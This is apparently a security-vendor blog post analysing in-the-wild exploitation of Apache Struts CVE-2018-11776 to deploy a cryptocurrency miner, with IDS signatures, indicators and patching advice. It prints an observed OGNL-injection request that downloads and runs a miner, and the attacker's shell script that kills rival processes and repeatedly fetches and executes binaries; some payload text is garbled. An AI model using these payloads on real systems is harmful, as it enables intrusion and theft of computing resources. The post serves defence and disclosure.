Active Exploitation of New Apache Struts Vulnerability CVE-2018-11776 Deploys Cryptocurrency Miner

On Wednesday, August 22, 2018, the Apache Foundation released a security bulletin for a critical vulnerability in the Apache Struts framework. This bulletin stated that the vulnerability, assigned CVE-2018-11776, could potentially allow for remote code execution if successfully exploited. Only a day later, on August 23, 2018, a researcher released a proof of concept (PoC) exploit for this vulnerability.

On August 24, 2018, a Python script was released to make use of the exploit:

Shortly after the PoC code was released, Volexity began observing active scanning and attempted exploitation of the vulnerability across its sensor network. The in-the-wild attacks observed thus far appear to have been taken directly from the publicly posted PoC code. In this instance, Apache Struts is vulnerable due to a improper validation of namespace input data, and the flaw is trivial to exploit. Volexity has observed at least one threat actor attempting to exploit CVE-2018-11776 en masse in order to install the CNRig cryptocurrency miner. The initial observed scanning originated from the Russian and French IP addresses and

Below is an example of an exploit attempt that Volexity observed in the wild.

GET /struts3-showcase/$${(#_memberAccess["allowStaticMethodAccess"]=true,#[email protected]@getRuntime().exec('wget -O xrig hxxps://;wget hxxps:// || curl -L hxxps:// --output;chmod x xrig;chmod x;nohup ./ &;nohup ./xrig -a cryptonight -o -u c646.miner -p x &;rm xrig').getInputStream(),#b=new,#c=new,#d=new char[51020],,#[email protected]@getResponse().getWriter(),#sbtest.println(#d),#sbtest.close())}/actionChain1.action HTTP/1.1

If the above exploit attempt is successful, the vulnerable system will perform wget requests to the two URLs listed below in order to download a copy of CNRig Miner from Github (saved as xrig) and a shell script from BitBucket (

  • hxxps://
  • hxxps://

This shell script is shown below in its entirety:


export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

for pid in /proc/*; do

    if strings $pid/exe | grep -q rabbit


        kill -9 `basename $pid`


    if cat $pid/cmdline | grep -q check


        if [ ! "`basename $pid`" -eq "$$" ];


            kill -9 `basename $pid`





rm xrig

while true


    wget || curl -L hxxps:// --output 386

    chmod +x ./386;./386;rm 386

    wget || curl -L hxxps:// --output arm

    chmod +x ./arm;./arm;rm arm

    wget || curl -L hxxps:// --output mips

    chmod +x ./mips;./mips;rm mips

    rm nohup.out

    sleep 600

This script will perform the following:

  1. Remove any processes containing the keyword rabbit.
  2. Look for processes containing the keyword check in the name, removing it if it is not the current process.
  3. Remove any instances of or xrig.
  4. Download three ELF cryptomining binaries, chmod them, execute the files, and then remove them.
  5. Remove nohup.out.
  6. Sleep for ten minutes (600 seconds).

The three ELF binaries downloaded are executables for the Intel, ARM, and MIPS architectures.  This is worth noting, as it shows the miner is capable of running across a wide range of hardware, such as servers, desktops, laptops, IOT devices, wireless routers, and more -- nearly any internet connected device running a vulnerable instance of Apache Struts.

The downloads folder of the BitBucket account hosting this script appears to be an open directory.  Navigating to this page shows the script as well as the other ELF binaries referenced above:

If successful exploitation takes place, the cryptocurrency mining will begin, utilizing the pool over TCP port 20580 and the user account c646.miner. It is worth noting that the start of the mining account name is the same as that used by the attacker for BitBucket. Volexity also noted that the binaries downloaded from the BitBucket repository all contained the string "Follow the white rabbit".


The following intrusion detection system signatures can be used to look for CVE-2018-11776 exploitation.


alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"Volex - Possible Struts2 Exploit Attempt Detected via URI (CVE-2018-1176)"; flow:established; content:"|22|allowStaticMethodAccess|22|"; nocase; http_uri; content:"actionChain1.action"; nocase; http_uri; threshold:type limit, track by_src, count 1, seconds 600; sid:2018082701; )


alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"Volex - Possible Struts2 Exploit Attempt Detected via URI (CVE-2018-1176)"; flow:established; content:"|22|allowStaticMethodAccess|22|"; nocase; http_uri; content:"actionChain1.action"; nocase; http_uri; threshold:type limit, track by_src, count 1, seconds 600; sid:2018082701; )

Indicator Notes Known bad IP scanning for CVE-2018-11776.

43370 | | OBIT-KZ | RU | AS Obit Telecommunications, Kazakhstan network, RU Known bad IP scanning for CVE-2018-11776.

16276 | | OVH, | FR | FR Cryptocurrency mining pool utilized by attackers upon successful exploitation of CVE-2018-11776.

Note: This IOC is indicative of cryptomining activity and not necessarily related to exploitation.


The Apache Struts framework continues to be targeted by attackers due to a steady stream of critical vulnerabilities. It is critical that organizations remain diligent, ensuring this software is updated quickly when new patches are released or otherwise limiting external access to websites leveraging it. Although the main payload for Apache Struts exploits appears to be cryptocurrency miners, failure to patch also leaves an organization open to significant risk that goes beyond cryptomining. This is made evident through large breaches, such as the Equifax hack that took place due to servers running an un-patched version of the Apache Struts framework. Volexity has also observed multiple APT group leveraging Apache Struts vulnerabilities to gain access to target networks.

Volexity recommends all instances of Apache Struts be patched to the latest versions immediately (2.3.35 or 2.5.17). Information on this vulnerability, how to patch, and in-depth review of the vulnerability can be seen at the following links:


If you have any questions about this blog, or would like to learn more about Volexity's network security monitoring or threat intelligence services, please  contact us!